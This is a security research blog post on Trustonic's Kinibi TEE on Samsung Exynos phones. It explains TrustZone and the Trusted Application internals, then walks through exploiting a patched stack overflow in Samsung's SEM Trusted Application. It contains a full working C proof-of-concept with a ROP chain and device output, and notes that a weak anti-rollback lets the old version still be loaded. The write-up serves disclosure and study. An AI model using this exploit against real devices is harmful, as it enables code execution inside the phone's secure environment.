Kinibi TEE: Trusted Application exploitation

For a while now, Android devices and many embedded systems have used a Trusted Execution Environment (TEE) to host some security functions (like hardware crypto/key, DRM, mobile payment, biometric authentication, ...). On ARM platforms, TEE are small operating systems which use the ARM TrustZone technology to isolate their execution from the standard operating system (like Linux).

TEE operating systems are much simpler than the Rich Execution Environment (REE, Android in smartphone case), and are a fun thing to reverse engineer. This blog post is dedicated to the Trustonic's TEE implementation and more particularly to the integration made by Samsung for its Exynos chipsets. Samsung recently patched a trivial vulnerability in a Trusted Application. After a brief explanation of TrustZone/Kinibi, this article details the exploitation of this vulnerability.

TrustZone

In the TrustZone architecture, TEE runs at the secure EL1 exception level. Trusted Applications can be loaded on top of it and run at the secure EL0 exception level. Trusted Applications are signed images that can be loaded only if the image signature is correct and comes from a trusted developer.

The REE communicates with the TEE by doing Secure Monitor calls (with the privileged SMC instruction, in kernel mode). These calls are handled by the Secure Monitor and relayed to the TEE kernel.

TrustZone architecture
TrustZone architecture

TrustZone allows isolating the secure world memory from the normal world, by tagging memory with a Non-Secure flag (NS). Code running in the normal world can only access memory tagged as NS.

On mobile phone there are 3 major TEE implementations:

  • QSEE/QTEE on Qualcomm SoC based devices
  • TrustedCore on Huawei
  • Kinibi from Trustonic

An open source implementation exists : op-tee, this version can be run in Qemu and on some development boards.

Kinibi

Kinibi is a TEE implementation built by Trustonic (also known as T-Base or Mobicore), it is mainly used on Mediatek and Exynos SoCs. Kinibi is composed of multiple components:

  • The microkernel: MTK
  • The runtime manager: RTM
  • Few built-in drivers: Crypto, Secure Storage, ...
  • A helper library used by applications/drivers: McLib

Kinibi runs only in Aarch32 mode.

Kinibi architecture
Kinibi architecture

The microkernel runs at the secure EL1 exception level. It provides system calls to drivers and Trusted Applications, and enforces tasks isolation. A piece of code in the secure monitor relays SMC interruptions from the normal world to the TEE kernel, this allows communication between the two worlds. The kernel also performs the preemptive scheduling.

The runtime manager is the main task of Kinibi, and manages sessions between normal world clients and trusted applications. When a new session is opened by a REE client, RTM first checks whether the application has been already loaded. The loading process involves signature checks of the application binary. The application binary can also be encrypted, thus RTM decrypts the trusted application before loading it.

Drivers run at the secure EL0 exception level, and as their binaries have the exact same format as Trusted Application, they are loaded with the same API. Drivers have access to more syscalls than TA. These additional syscalls allow drivers to map other tasks memory, physical memory, do SMC calls, etc.

The McLib library provides an API to TA and drivers. It is a binary mapped in every driver or application task at a fixed address. Applications use this library by jumping to the library entry point with the API id in the r0 register. Functions for TA and drivers are called tlApi* and driver-only functions are called drApi*. The definition of API functions can be found on many GitHub repositories, which helps the reverse engeneering process.

On Samsung phones, these components can be easily extracted from sboot.bin. A nice way to extract these parts have been presented by @kutyacica at the ekoparty conference. He found a table in the sboot.bin binary which contains offsets to the different components. The format of this table has slightly changed since Galaxy S6, but it is still straightforward to unpack binaries.

Trusted Applications

In most cases, Trusted applications and drivers are signed binaries but are not encrypted and can be easily analysed. On Samsung phones these binaries are stored in the /vendor/app/mcRegistry/ and /system/app/mcRegistry/ directories.

The format used by trusted applications and drivers binaries is the MCLF format. This format is documented in a header file available on the trustonic-tee-user-space GitHub project. mclf-ida-loader can help you loading this format in IDA.

When the TA is loaded, the MCLF header is used by Kinibi to map the code, data and bss area in the TA memory space. The mcLib library is mapped at a fixed address (0x07d00000 on Galaxy S8/S9). When a session is opened, a shared buffer (called tci) is mapped at a fixed address too: 0x00100000 or 0x00300000 depending on the version specified in the MCLF header.

TA clients in REE can map new shared memory zones, these zones are mapped at 0x00200000 + map_id*0x00100000.

TA memory mapping
TA memory mapping

Most trusted applications use the tci shared memory for input and output buffer, the first 32 bits being used as command ID. Generally the initialization is done at the entry point (crypto initialization, stack cookie randomization, etc), and then the main function is called. The main function checks the shared buffer size and then starts the main loop. TA waits for a new message with the tlApiWaitNotification (6) API, and handles the content of the shared buffer(s). Response data is written to the shared buffer, the TA notifies the REE with the tlApiNotify (7) API, and waits for a new message.

TA exploitation 101

Even if the TEE OS is dedicated to security operations, the OS doesn't have security hardening like ASLR / PIE, which makes exploitation of vulnerabilities in Trusted Applications very easy.

Somewhere between G955FXXU2CRED and G955FXXU3CRGH (for Galaxy S8+) Samsung has patched the SEM TA (fffffffff0000000000000000000001b.tlbin).

The patch fixes a stack based buffer overflow directly reachable in the 0x1B command handler. Additionally, stack cookies were enabled in the new build of this TA.

/* pseudo code in G955FXXU2CRED */
void __fastcall handle_cmd_id_0x1b(unsigned int *tciBuffer)
{
  // [...]
  char v64[256]; // [sp+158h] [bp-770h]
  char v65[256]; // [sp+258h] [bp-670h]
  char v66[200]; // [sp+358h] [bp-570h]
  char v67[1024]; // [sp+420h] [bp-4A8h]
  char v68[64]; // [sp+820h] [bp-A8h]
  char v69[52]; // [sp+860h] [bp-68h]
  int v70; // [sp+894h] [bp-34h]

  bzero(v66, 0xC8u);
  bzero(v64, 0x100u);
  bzero(v65, 0x100u);
  bzero(v68, 0x40u);
  v4 = tciBuffer[2];
  v5 = tciBuffer[3];
  // memcpy with source and length controlled
  memcpy(v66, tciBuffer + 4, tciBuffer[3]);
  v6 = v5 + 12;
  v7 = *(int *)((char *)tciBuffer + v5 + 16);
  if ( tciBuffer[23042] > (unsigned int)(v7 + 208) )
  {
    snprintf(v67, 0x400, "~%18s:%4d: Input data is over the buffer.", v8, 113);
    print("[E]SEM %s\n", v67);
    return;
  }
  // [...]

No stack cookies, a stack based buffer overflow directly reachable in the command handler, this should remind you of your first exploit/challenge.

Trusted Applications have read-exec code pages and read-write data pages mapped. Kinibi doesn't have an mprotect-like syscall and doesn't provide a map between syscall and Trusted Applications, so the only way to execute arbitrary code in the TA is to ROP on its code.

In order to communicate with the TEE, the libMcClient.so library is used. This library provides functions to load TA, open sessions, map memory and notify the Trusted Application. Trustonic gives header files to use this library : MobiCoreDriverApi.h. On Android, only some privileged apps and apps with a specific SElinux context can use the TEE driver.

Here is a simple exploit that ROP to print a controlled log string, on Samsung devices TEE logs are printed in kmsg.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>

#include "MobiCoreDriverApi.h"

#define err(f_, ...) {printf("[\033[31;1m!\033[0m] "); printf(f_, ##__VA_ARGS__);}
#define ok(f_, ...) {printf("[\033[32;1m+\033[0m] "); printf(f_, ##__VA_ARGS__);}
#define info(f_, ...) {printf("[\033[34;1m-\033[0m] "); printf(f_, ##__VA_ARGS__);}
#define warn(f_, ...) {printf("[\033[33;1mw\033[0m] "); printf(f_, ##__VA_ARGS__);}

int main(int argc, char **argv) {
    mcResult_t ret;
    mcSessionHandle_t session = {0};
    mcBulkMap_t map;
    uint32_t stack_size;
    char *to_map;


    // ROPgadget --binary fffffffff0000000000000000000001b.tlbin \
    //             --rawArch arm --rawMode thumb --offset 0x1000
    uint32_t rop_chain[] = {
        0x38c2 + 1, // pop {r0, r1, r2, r3, r4, r5, r6, pc}
        0x0,        // r0 (will be the string to print)
        0x0,        // r1 (argument, will be set after mcMap)
        0x0,        // r2 (not used)
        0x0,        // r3 (not used)
        0x0,        // r4 (not used)
        0x0,        // r5 (not used)
        0x0,        // r6 (not used)
        0x25070 + 1 // tlApiPrintf wrapper
    };

    FILE *f = fopen(
        "/data/local/tmp/fffffffff0000000000000000000001b.tlbin",
        "rb"
    );
    if(!f) {
        err("Can't open TA %s\n",argv[1]);
        return 1;
    }
    fseek(f, 0, SEEK_END);
    uint32_t ta_size = ftell(f);
    fseek(f, 0, SEEK_SET);


    char *ta_mem = malloc(ta_size);
    if (fread(ta_mem, ta_size, 1, f) != 1) {
        err("Can't read TA");
        return 1;
    }

    uint32_t tciLen = 0x20000; // TA access to fixed offset on this WSM
                               // so the buffer should be large enough
    uint32_t *tci = malloc(tciLen);

    ret = mcOpenDevice(MC_DEVICE_ID_DEFAULT);
    if(ret != MC_DRV_OK) {
        err("Can't mcOpenDevice\n");
        return 1;
    }

    to_map = strdup("--> Hello from the trusted application <--\n");

    ret = mcOpenTrustlet(&session, 0, ta_mem, ta_size, 
                         (uint8_t *)tci, tciLen);
    if(ret == MC_DRV_OK) {
        // map the string in TA virtual space, the API returns
        // the address in the TA space.
        ret = mcMap(&session, to_map, 40960, (mcBulkMap_t *)&map);
        if (ret != MC_DRV_OK) {
            err("Can't map in\n");
            return 1;
        }
        ok("Address in TA virtual memory : 0x%x\n", map.sVirtualAddr);

        // rop_chain[1] is R0, point it to the string in TA 
        // address space.
        rop_chain[1] = map.sVirtualAddr;

        stack_size  = 0x54c; // fill stack frame
        stack_size += 0x20;  // popped registers size

        // fill tciBuffer
        tci[0] = 27;                             // cmd id
        tci[3] = stack_size + sizeof(rop_chain); // memcpy size
        memcpy(&tci[4 + stack_size/4], &rop_chain, sizeof(rop_chain));

        // notify the TA
        mcNotify(&session);
        mcWaitNotification(&session, 2000);
        mcCloseSession(&session);
    }
    mcCloseDevice(MC_DEVICE_ID_DEFAULT);
    return 0;
}
dreamlte:/ # /data/local/tmp/exploit_sem
[+] Address in TA virtual memory : 0x2005f0

dreamlte:/ # dmesg -c | grep TEE
TEE: b01|[I]SEM  [INFO]:Start SEM TA :: Version: 2016.06.15.1
TEE: b01|[E]SEM  Wrong CCM version
TEE: b01|[E]SEM  Wrong CCM version
TEE: b01|[E]SEM  handleCCMDataSWP [ error END]
TEE: b01|--> Hello from the trusted application <--

Conclusion

This article shows how easy it can be to reach arbitrary code execution in a Trusted App. The SEM application contains other trivial vulnerabilities, but stack cookies limit the exploitation.

Patched vulnerabilities in TAs should be inexploitable on up-to-date devices since the TEE provides an anti-rollback mechanism. Unfortunately, Samsung does not always increment the version number when merging security related patches. This is the case for the SEM TA, which means that the old version can still be loaded and exploited.
On many Samsung devices the anti-rollback mechanism not seems to be functional at all (like on S8).

Gaining code execution in a Trusted Application greatly increases the attack surface, as the attacker can interact with secure drivers and TEE kernel syscalls.